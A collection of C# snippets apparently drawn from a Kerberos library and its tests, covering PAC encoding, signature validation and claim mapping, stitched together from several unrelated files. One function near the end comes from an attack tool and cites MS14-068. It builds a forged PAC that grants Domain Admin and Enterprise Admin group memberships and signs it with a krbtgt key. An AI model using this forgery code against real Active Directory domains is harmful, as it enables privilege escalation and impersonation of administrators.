public void DecryptReferralTgt() { var ticket = KrbApReq.DecodeApplication(Convert.FromBase64String(ReferralTicket)); var apreq = new DecryptedKrbApReq(ticket, MessageType.KRB_AS_REQ); var key = new KerberosKey( "P@ssw0rd!", new PrincipalName( PrincipalNameType.NT_SRV_INST, CRealm, new[] { "krbtgt", "TEST.IDENTITYINTERVENTION.COM" } ), saltType: SaltType.Rfc4120 ); apreq.Decrypt(key); Assert.IsNotNull(apreq.Ticket); Assert.AreEqual("Administrator", apreq.Ticket.CName.FullyQualifiedName); Assert.AreEqual(CRealm, apreq.Ticket.CRealm); var adif = apreq.Ticket.AuthorizationData.FirstOrDefault(f => f.Type == AuthorizationDataType.AdIfRelevant).DecodeAdIfRelevant(); var pacStr = adif.FirstOrDefault(f => f.Type == AuthorizationDataType.AdWin2kPac); var pac = new PrivilegedAttributeCertificate(pacStr); Assert.IsNotNull(pac); Assert.AreEqual(500u, pac.LogonInfo.UserId); }
protected virtual void AddGroups(PrivilegedAttributeCertificate pac, ICollection <Claim> claims) { var logonInfo = pac.LogonInfo; if (logonInfo == null) { return; } var domainSid = logonInfo.DomainSid.Value; foreach (var g in logonInfo.GroupSids) { var sid = g.Value; claims.Add(new Claim(ClaimTypes.GroupSid, sid)); if (sid.StartsWith(domainSid)) { var friendly = SecurityIdentifierNames.GetFriendlyName(sid, domainSid); if (!sid.Equals(friendly, StringComparison.OrdinalIgnoreCase)) { claims.Add(new Claim(ClaimTypes.Role, friendly)); } } } }
public void PacHandlesCustomKdcSignatureType() { var principal = new FakeKerberosPrincipal("*****@*****.**"); var pac = principal.GeneratePac(); var kdcKey = new KerberosKey(new byte[234], etype: (EncryptionType)(-1)); var serverKey = new KerberosKey(new byte[32], etype: EncryptionType.AES256_CTS_HMAC_SHA1_96); CryptoService.RegisterChecksumAlgorithm((ChecksumType)(-1), (signature, signatureData) => new FakeChecksum(signature, signatureData)); CryptoService.RegisterCryptographicAlgorithm((EncryptionType)(-1), () => new FakeCryptoTransform()); var encoded = pac.Encode(kdcKey, serverKey); var roundtrip = new PrivilegedAttributeCertificate( new KrbAuthorizationData { Type = AuthorizationDataType.AdWin2kPac, Data = encoded }, SignatureMode.Kdc ); Assert.IsNotNull(roundtrip); roundtrip.ServerSignature.Validate(serverKey); Assert.AreEqual((ChecksumType)(-1), roundtrip.KdcSignature.Type); roundtrip.KdcSignature.Validate(serverKey); }
protected virtual void AddGroups(PrivilegedAttributeCertificate pac, ICollection <Claim> claims) { var logonInfo = pac?.LogonInfo; if (logonInfo == null) { return; } if (claims == null) { throw new ArgumentNullException(nameof(claims)); } if (pac?.CredentialType != null) { claims.Add(new Claim(ClaimTypes.GroupSid, "S-1-5-65-1")); } var domainSid = logonInfo.DomainSid.Value; AddSids(claims, domainSid, logonInfo.GroupSids); if (logonInfo.UserFlags.HasFlag(UserFlags.LOGON_EXTRA_SIDS)) { AddSids(claims, domainSid, logonInfo.ExtraSids); } if (logonInfo.UserFlags.HasFlag(UserFlags.LOGON_RESOURCE_GROUPS)) { AddSids(claims, domainSid, logonInfo.ResourceGroups); } }
protected virtual void AddUser(KrbEncTicketPart ticket, PrivilegedAttributeCertificate pac, List <Claim> claims) { var logonInfo = pac.LogonInfo; if (logonInfo == null) { return; } claims.Add(new Claim(ClaimTypes.Sid, logonInfo.UserSid.Value)); if (!string.IsNullOrWhiteSpace(logonInfo.UserDisplayName)) { claims.Add(new Claim(ClaimTypes.GivenName, logonInfo.UserDisplayName)); } if (this.UserNameFormat == UserNameFormat.UserPrincipalName) { var names = ticket.CName.Name.Select(n => $"{n}@{ticket.CRealm.ToLowerInvariant()}"); claims.AddRange(names.Select(n => new Claim(ClaimTypes.NameIdentifier, n))); } else { claims.Add(new Claim(ClaimTypes.NameIdentifier, $"{logonInfo.DomainName.ExcludeTermination()}\\{logonInfo.UserName}")); } }
private static async Task <PrivilegedAttributeCertificate> GeneratePac(bool includeClaims) { DecryptedKrbApReq result = null; if (includeClaims) { result = await GeneratePacContainingClaims(); } else { result = await GeneratePacWithoutClaims(); } var pacData = result.Ticket.AuthorizationData .Where(d => d.Type == AuthorizationDataType.AdIfRelevant) .Select(d => d.DecodeAdIfRelevant() .Where(a => a.Type == AuthorizationDataType.AdWin2kPac) ).First(); var pac = new PrivilegedAttributeCertificate(new KrbAuthorizationData { Type = AuthorizationDataType.AdWin2kPac, Data = pacData.First().Data }); Assert.AreEqual(0, pac.DecodingErrors.Count()); return(pac); }
private static void DecodeAsAdWin2kPac(byte[] bytes, TreeNode parentNode) { var pac = new PrivilegedAttributeCertificate(new KrbAuthorizationData { Data = bytes, Type = AuthorizationDataType.AdWin2kPac }); ExplodeObject(pac, "Privilege Attribute Certificate", parentNode); }
public void Validate(PrivilegedAttributeCertificate pac, KrbPrincipalName sname) { if (pac == null) { throw new ArgumentNullException(nameof(pac)); } pac.ServerSignature.Validate(this.keytab, sname); }
private static void GeneratePacExtensions( PrivilegedAttributeCertificate pac, bool includeGroups, bool includeExtraIds, bool includeResourceDomain, bool includeResourceGroups ) { if (includeGroups) { pac.LogonInfo.GroupIds = Enumerable.Range(23, 100).Select(g => new GroupMembership() { Attributes = SidAttributes.SE_GROUP_ENABLED, RelativeId = (uint)g }); Assert.AreEqual(100, pac.LogonInfo.GroupCount); } if (includeExtraIds) { pac.LogonInfo.ExtraIds = Enumerable.Range(45, 100).Select(e => new RpcSidAttributes { Attributes = SidAttributes.SE_GROUP_INTEGRITY, Sid = new SecurityIdentifier( IdentifierAuthority.CreatorAuthority, new uint[] { 123, 321, 456, 432, (uint)e }, SidAttributes.SE_GROUP_USE_FOR_DENY_ONLY ).ToRpcSid() }); Assert.AreEqual(100, pac.LogonInfo.ExtraSidCount); } if (includeResourceDomain) { pac.LogonInfo.ResourceDomainId = new SecurityIdentifier( IdentifierAuthority.AppPackageAuthority, new uint[] { 111, 222, 333, 444 }, SidAttributes.SE_GROUP_RESOURCE ).ToRpcSid(); } if (includeResourceGroups) { pac.LogonInfo.ResourceGroupIds = Enumerable.Range(88, 100).Select(g => new GroupMembership() { Attributes = SidAttributes.SE_GROUP_USE_FOR_DENY_ONLY, RelativeId = (uint)g }); Assert.AreEqual(100, pac.LogonInfo.ResourceGroupCount); } }
protected virtual void AddUser(EncTicketPart ticket, PrivilegedAttributeCertificate pac, List <Claim> claims) { claims.Add(new Claim(ClaimTypes.Sid, pac.LogonInfo.UserSid.Value)); if (!string.IsNullOrWhiteSpace(pac.LogonInfo.UserDisplayName)) { claims.Add(new Claim(ClaimTypes.GivenName, pac.LogonInfo.UserDisplayName)); } var names = ticket.CName.Names.Select(n => $"{n}@{ticket.CRealm.ToLowerInvariant()}"); claims.AddRange(names.Select(n => new Claim(ClaimTypes.NameIdentifier, n))); }
public async Task PacRoundtrip() { var keyBytes = ReadDataFile("rc4-key-data"); var key = new KerberosKey(keyBytes, etype: EncryptionType.RC4_HMAC_NT); var pac = await GeneratePac(); var encoded = pac.Encode(key, key); var pacDecoded = new PrivilegedAttributeCertificate(new KrbAuthorizationData { Type = AuthorizationDataType.AdWin2kPac, Data = encoded }); pacDecoded.ServerSignature.Validator.Validate(key); pacDecoded.KdcSignature.Validator.Validate(key); }
private void MergeAttributes(EncTicketPart ticket, PrivilegedAttributeCertificate pac, List <Claim> claims) { AddUser(ticket, pac, claims); AddGroups(pac, claims); if (pac?.ClientClaims?.ClaimsSet?.ClaimsArray != null) { AddClaims(pac.ClientClaims.ClaimsSet.ClaimsArray, claims); } if (pac?.DeviceClaims?.ClaimsSet?.ClaimsArray != null) { AddClaims(pac.DeviceClaims.ClaimsSet.ClaimsArray, claims); } }
private void DecodePac(DecryptedKrbApReq krbApReq, List <Claim> claims, KrbAuthorizationData authz) { var pac = new PrivilegedAttributeCertificate(authz.Data.ToArray()); if (!pac.HasRequiredFields) { return; } if (validator.ValidateAfterDecrypt.HasFlag(ValidationActions.Pac)) { ValidatePacSignature(pac, krbApReq.SName); } MergeAttributes(krbApReq.Ticket, pac, claims); }
public async Task TestPacRoundtrip() { var keyBytes = ReadDataFile("rc4-key-data"); var key = new KerberosKey(keyBytes, etype: EncryptionType.RC4_HMAC_NT); var pac = await GeneratePac(); var encoded = pac.Encode(key, key); var pacDecoded = new PrivilegedAttributeCertificate(encoded.ToArray()); ; pacDecoded.ServerSignature.Validator.Validate(key); pacDecoded.KdcSignature.Validator.Validate(key); }
private void DecodePac(DecryptedKrbApReq krbApReq, List <Claim> claims, KrbAuthorizationData authz, List <Restriction> restrictions) { var pac = new PrivilegedAttributeCertificate(authz, SignatureMode.Server); if (!pac.HasRequiredFields) { return; } if (this.validator.ValidateAfterDecrypt.HasFlag(ValidationActions.Pac)) { this.ValidatePacSignature(pac, krbApReq.SName); } this.MergeAttributes(krbApReq.Ticket, pac, claims); restrictions.Add(pac); }
protected virtual void AddUser(KrbEncTicketPart ticket, PrivilegedAttributeCertificate pac, List <Claim> claims) { if (ticket == null) { throw new ArgumentNullException(nameof(ticket)); } var logonInfo = pac?.LogonInfo; if (logonInfo == null) { return; } if (claims == null) { throw new ArgumentNullException(nameof(claims)); } claims.Add(new Claim(ClaimTypes.Sid, logonInfo.UserSid.Value)); if (!string.IsNullOrWhiteSpace(logonInfo.UserDisplayName)) { claims.Add(new Claim(ClaimTypes.GivenName, logonInfo.UserDisplayName)); } if (this.UserNameFormat == UserNameFormat.UserPrincipalName) { if (ticket.CName.FullyQualifiedName.Contains("@")) { claims.Add(new Claim(ClaimTypes.NameIdentifier, ticket.CName.FullyQualifiedName)); } else { var name = $"{ticket.CName.Name[0]}@{ticket.CRealm.ToLowerInvariant()}"; claims.Add(new Claim(ClaimTypes.NameIdentifier, name)); } } else { claims.Add(new Claim(ClaimTypes.NameIdentifier, $"{logonInfo.DomainName.ExcludeTermination()}\\{logonInfo.UserName}")); } }
public void Setup() { var realmService = new FakeRealmService("CORP.BLAH.COM"); this.principal = realmService.Principals.Find(KrbPrincipalName.FromString("*****@*****.**")); this.pac = this.principal.GeneratePac(); this.key = new KerberosKey(new byte[32], etype: EncryptionType.AES256_CTS_HMAC_SHA1_96); var groups = new List <GroupMembership>(); for (var i = 0; i < this.GroupSize; i++) { groups.Add(new GroupMembership { Attributes = SidAttributes.SE_GROUP_ENABLED | SidAttributes.SE_GROUP_MANDATORY, RelativeId = (uint)i }); } this.pac.LogonInfo.GroupIds = groups; var extra = new List <RpcSidAttributes>(); for (var i = 0; i < this.ExtraSize; i++) { extra.Add(new RpcSidAttributes { Attributes = SidAttributes.SE_GROUP_ENABLED | SidAttributes.SE_GROUP_MANDATORY, Sid = new RpcSid() { IdentifierAuthority = new RpcSidIdentifierAuthority { IdentifierAuthority = new byte[] { 0, 0, 0, 0, 0, (byte)IdentifierAuthority.NTAuthority } }, SubAuthority = new uint[] { 21, 3333, 4444, 5555, 111 }, Revision = 1 } }); } this.pac.LogonInfo.ExtraIds = extra; }
private void MergeAttributes(KrbEncTicketPart ticket, PrivilegedAttributeCertificate pac, List <Claim> claims) { AddUser(ticket, pac, claims); AddGroups(pac, claims); var clientClaims = pac?.ClientClaims?.ClaimsSet?.ClaimsArray; if (clientClaims != null) { AddClaims(clientClaims, claims); } var deviceClaims = pac?.DeviceClaims?.ClaimsSet?.ClaimsArray; if (deviceClaims != null) { AddClaims(deviceClaims, claims); } }
public void PacGenerationRoundtrip() { var realmService = new FakeRealmService("foo.com"); var krbtgt = realmService.Principals.Find(KrbPrincipalName.WellKnown.Krbtgt()); var key = krbtgt.RetrieveLongTermCredential(); var user = realmService.Principals.Find(KrbPrincipalName.FromString("*****@*****.**")); var pac = user.GeneratePac(); Assert.IsNotNull(pac); var encoded = pac.Encode(key, key); var decoded = new PrivilegedAttributeCertificate(new KrbAuthorizationData { Type = AuthorizationDataType.AdWin2kPac, Data = encoded }); Assert.IsNotNull(decoded.LogonInfo); }
public Task <PrivilegedAttributeCertificate> GeneratePac() { var pac = new PrivilegedAttributeCertificate() { LogonInfo = new PacLogonInfo { DomainName = realm, UserName = PrincipalName, UserDisplayName = PrincipalName, BadPasswordCount = 12, SubAuthStatus = 0, DomainSid = domainSid, UserSid = userSid, GroupSid = groupSid, LogonTime = DateTimeOffset.UtcNow, ServerName = "server" } }; return(Task.FromResult(pac)); }
public async Task PacGenerationRoundtrip() { var realmService = new FakeRealmService("foo.com"); var krbtgt = await realmService.Principals.RetrieveKrbtgt(); var key = await krbtgt.RetrieveLongTermCredential(); var user = await realmService.Principals.Find("*****@*****.**"); var pac = await user.GeneratePac(); Assert.IsNotNull(pac); var encoded = pac.Encode(key, key); var decoded = new PrivilegedAttributeCertificate(new KrbAuthorizationData { Type = AuthorizationDataType.AdWin2kPac, Data = encoded }); Assert.IsNotNull(decoded.LogonInfo); }
public PrivilegedAttributeCertificate GeneratePac() { var pac = new PrivilegedAttributeCertificate() { LogonInfo = new PacLogonInfo { DomainName = realm, UserName = PrincipalName, UserDisplayName = PrincipalName, BadPasswordCount = 12, SubAuthStatus = 0, DomainSid = domainSid, UserSid = userSid, GroupSid = groupSid, LogonTime = DateTimeOffset.UtcNow, ServerName = "server", UserAccountControl = UserAccountControlFlags.ADS_UF_NORMAL_ACCOUNT, UserFlags = UserFlags.LOGON_WINLOGON, } }; return(pac); }
protected virtual void AddGroups(PrivilegedAttributeCertificate pac, ICollection <Claim> claims) { var logonInfo = pac.LogonInfo; if (logonInfo == null) { return; } var domainSid = logonInfo.DomainSid.Value; AddSids(claims, domainSid, logonInfo.GroupSids); if (logonInfo.UserFlags.HasFlag(UserFlags.LOGON_EXTRA_SIDS)) { AddSids(claims, domainSid, logonInfo.ExtraSids); } if (logonInfo.UserFlags.HasFlag(UserFlags.LOGON_RESOURCE_GROUPS)) { AddSids(claims, domainSid, logonInfo.ResourceGroups); } }
public void PacFailsOnUnknownKdcSignatureType() { var principal = new FakeKerberosPrincipal("*****@*****.**"); var pac = principal.GeneratePac(); var kdcKey = new KerberosKey(new byte[234], etype: (EncryptionType)(-1)); var serverKey = new KerberosKey(new byte[32], etype: EncryptionType.AES256_CTS_HMAC_SHA1_96); CryptoService.RegisterChecksumAlgorithm((ChecksumType)(-1), (signature, signatureData) => new FakeChecksum(signature, signatureData)); CryptoService.RegisterCryptographicAlgorithm((EncryptionType)(-1), () => new FakeCryptoTransform()); var encoded = pac.Encode(kdcKey, serverKey); CryptoService.UnregisterChecksumAlgorithm((ChecksumType)(-1)); CryptoService.UnregisterCryptographicAlgorithm((EncryptionType)(-1)); bool threw = false; try { _ = new PrivilegedAttributeCertificate( new KrbAuthorizationData { Type = AuthorizationDataType.AdWin2kPac, Data = encoded }, SignatureMode.Kdc ); } catch (InvalidOperationException) { threw = true; } Assert.IsTrue(threw); }
public void Validate(PrivilegedAttributeCertificate pac, KrbPrincipalName sname) { pac.ServerSignature.Validate(keytab, sname); }
//KDC KRB_AP_ERR_MODIFIED: Message stream modified //During TGS processing, the KDC was unable to verify the signature on the PAC from krbtgt. This indicates the PAC was modified. //Kerberos PAC Validation //https://docs.microsoft.com/en-us/archive/blogs/openspecification/understanding-microsoft-kerberos-pac-validation public static KrbAuthorizationData[] generatePac(string username, string domainsid, string domainname, KerberosKey key, DateTime now, int userid = 500) { Console.WriteLine("[*] Building PAC ..."); //////////////Build PAC var forgedPac = new PrivilegedAttributeCertificate(); //////////////// //https://github.com/SecWiki/windows-kernel-exploits/blob/5593d65dcb94696242687904b55f4e27ce33f235/MS14-068/pykek/kek/pac.py#L56 //PAC_LOGON_INFO var logonInfo = new PacLogonInfo(); // LogonTime logonInfo.LogonTime = RpcFileTime.Convert(now); // LogoffTime ///logonInfo.LogoffTime = RpcFileTime.Convert(DateTime.MinValue); // KickOffTime //logonInfo.KickOffTime = RpcFileTime.Convert(DateTime.MinValue); // PasswordLastSet //logonInfo.PwdLastChangeTime = RpcFileTime.Convert(DateTime.Now.AddDays(-22)); // PasswordCanChange //logonInfo.PwdCanChangeTime = RpcFileTime.Convert(DateTime.Now.AddDays(-21)); // PasswordMustChange //logonInfo.PwdMustChangeTime = RpcFileTime.Convert(DateTime.MinValue); // EffectiveName logonInfo.UserName = username; // FullName //logonInfo.UserDisplayName = null; // LogonScript //logonInfo.LogonScript = ""; // ProfilePath //logonInfo.ProfilePath = ""; // HomeDirectory //logonInfo.HomeDirectory = ""; // HomeDirectoryDrive //logonInfo.HomeDrive = ""; // LogonCount //logonInfo.LogonCount = 0; // BadPasswordCount //logonInfo.BadPasswordCount = 0; // UserId logonInfo.UserId = (uint)userid; // PrimaryGroupId logonInfo.GroupId = 513; // GroupCount // GroupIds[0] var se_group_all = SidAttributes.SE_GROUP_ENABLED | SidAttributes.SE_GROUP_ENABLED_BY_DEFAULT | SidAttributes.SE_GROUP_INTEGRITY | SidAttributes.SE_GROUP_INTEGRITY_ENABLED | SidAttributes.SE_GROUP_LOGON_ID | SidAttributes.SE_GROUP_MANDATORY | SidAttributes.SE_GROUP_OWNER | SidAttributes.SE_GROUP_RESOURCE; //SidAttributes.SE_GROUP_USE_FOR_DENY_ONLY; IEnumerable <GroupMembership> groupIds = new GroupMembership[] { new GroupMembership() { Attributes = se_group_all, RelativeId = 513 }, new GroupMembership() { Attributes = se_group_all, RelativeId = 512 }, new GroupMembership() { Attributes = se_group_all, RelativeId = 520 }, new GroupMembership() { Attributes = se_group_all, RelativeId = 518 }, new GroupMembership() { Attributes = se_group_all, RelativeId = 519 }, }; logonInfo.GroupIds = groupIds; // UserFlags logonInfo.UserFlags = UserFlags.LOGON_EXTRA_SIDS; // UserSessionKey string userSessKeyStr = "00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00"; byte[] keyByte = Array.ConvertAll <string, byte>(userSessKeyStr.Split('-'), s => Convert.ToByte(s, 16)); logonInfo.UserSessionKey = keyByte.ToArray().AsMemory(); // LogonServer //logonInfo.ServerName = ""; // LogonDomainName logonInfo.DomainName = domainname.ToUpper();//domainname.Split('.')[0].ToUpper(); // LogonDomainId domainsid = domainsid.Replace("S-1-5-", string.Empty); var subCount = domainsid.Split('-').Length; uint[] subAuth = new uint[subCount]; for (int i = 0; i < subCount; i++) { subAuth[i] = uint.Parse(domainsid.Split('-')[i]); } var identAuth = new byte[6]; identAuth[5] = (int)IdentifierAuthority.NTAuthority; logonInfo.DomainId = new RpcSid() { IdentifierAuthority = new RpcSidIdentifierAuthority() { IdentifierAuthority = identAuth }, SubAuthority = subAuth.AsMemory(), SubAuthorityCount = (byte)subCount, Revision = 1 }; // Reserved1 int[] reserved1 = { 0, 0 }; logonInfo.Reserved1 = reserved1.ToArray().AsMemory(); // UserAccountControl logonInfo.UserAccountControl = UserAccountControlFlags.ADS_UF_NORMAL_ACCOUNT | UserAccountControlFlags.ADS_UF_LOCKOUT; // SubAuthStatus logonInfo.SubAuthStatus = 0; // LastSuccessFulILogon logonInfo.LastSuccessfulILogon = RpcFileTime.Convert(new DateTime(1601, 1, 1, 12, 00, 00)); // LastFailedILogon logonInfo.LastFailedILogon = RpcFileTime.Convert(new DateTime(1601, 1, 1, 12, 00, 00)); // FailedILogonCount logonInfo.FailedILogonCount = 0; // Reserved3 logonInfo.Reserved3 = 0; // SidCount // ExtraSids // ResourceGroupDomainSid // ResourceGroupCount // ResourceGroupIdss //logonInfo.ResourceGroupIds = null;// new GroupMembership[] { }; // ExtraIds //RpcSidAttributes[] extraIds = //{ // new RpcSidAttributes() // { // Sid = new RpcSid() // { // IdentifierAuthority = new RpcSidIdentifierAuthority(){}, // Revision = 1, // //SubAuthority = a.ToArray().AsMemory() // }, // Attributes = se_group_all // } //}; //logonInfo.ExtraIds = extraIds; //logonInfo.ResourceGroupIds = new GroupMembership[] { }; forgedPac.LogonInfo = logonInfo; //////////////// //PAC_CLIENT_INFO var clientInformation = new PacClientInfo() { Name = username, ClientId = RpcFileTime.Convert(now), }; forgedPac.ClientInformation = clientInformation; //From Book: Network Security Assessment Table 7-26 //TGT: PAC (KDC) -> krbtgt // PAC (Server) -> krbtgt var authz = new List <KrbAuthorizationData>(); var sequence = new KrbAuthorizationDataSequence { AuthorizationData = new[] { new KrbAuthorizationData { Type = AuthorizationDataType.AdWin2kPac, Data = forgedPac.Encode(key, key) } } }; authz.Add( new KrbAuthorizationData { Type = AuthorizationDataType.AdIfRelevant, Data = sequence.Encode() }); return(authz.ToArray()); }
public Task <PrivilegedAttributeCertificate> GeneratePac() { var pac = new PrivilegedAttributeCertificate(); return(Task.FromResult(pac)); }
protected virtual void ValidatePacSignature(PrivilegedAttributeCertificate pac, KrbPrincipalName name) { validator.Validate(pac, name); }